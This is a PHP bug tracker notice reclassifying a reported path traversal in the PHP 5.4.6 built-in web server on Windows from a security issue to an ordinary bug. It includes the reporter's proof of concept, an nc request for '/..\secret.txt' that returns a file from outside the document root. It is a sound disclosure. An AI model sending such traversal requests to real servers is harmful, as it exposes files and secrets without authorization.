Sec Bug->Bug #62883 [Opn]: PHP built-in web server - path traversal

Edit report at https://bugs.php.net/bug.php?id=62883&edit=1 ID: 62883 Updated by: cmb@php.net Reported by: krzotr at gmail dot com Summary: PHP built-in web server - path traversal Status: Open -Type: Security +Type: Bug Package: Built-in web server Operating System: Windows XP PHP Version: 5.4.6 Block user comment: N Private report: Y New Comment: According to our security issue classification[1], this would not be a security issue, since the built-in webserver is not meant to be used on a public network. [1] <https://wiki.php.net/security#not_a_security_issue> Previous Comments: ------------------------------------------------------------------------ [2012-09-23 15:12:46] laruence@php.net hmm, seems not reproduceable on linux, there maybe something wrong in the httpd parser while on windows. anyway, built-in server targets at testing and deving purpose. so, I think this is not that harmful :) thanks ------------------------------------------------------------------------ [2012-08-21 21:11:59] krzotr at gmail dot com Description: ------------ PHP built-in web server able to read file outside web server root directory Test script: --------------- C:\>type secret.txt My secret password: 0123456789 C:\php>php -S 127.0.0.1:8080 PHP 5.4.6 Development Server started at Tue Aug 21 22:55:38 2012 Listening on http://127.0.0.1:8080 Document root is C:\php ------------------------------------------------------------------------------ C:\Documents and Settings>nc 127.0.0.1 8080 GET /..\secret.txt HTTP/0.9 200 OK Connection: close Content-Type: text/plain; charset=UTF-8 Content-Length: 30 My secret password: 0123456789 ------------------------------------------------------------------------------ Server log: [Tue Aug 21 22:55:56 2012] 127.0.0.1:25202 [200]: /..\secret.txt Expected result: ---------------- Invalid request Actual result: -------------- My secret password: 0123456789 ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=62883&edit=1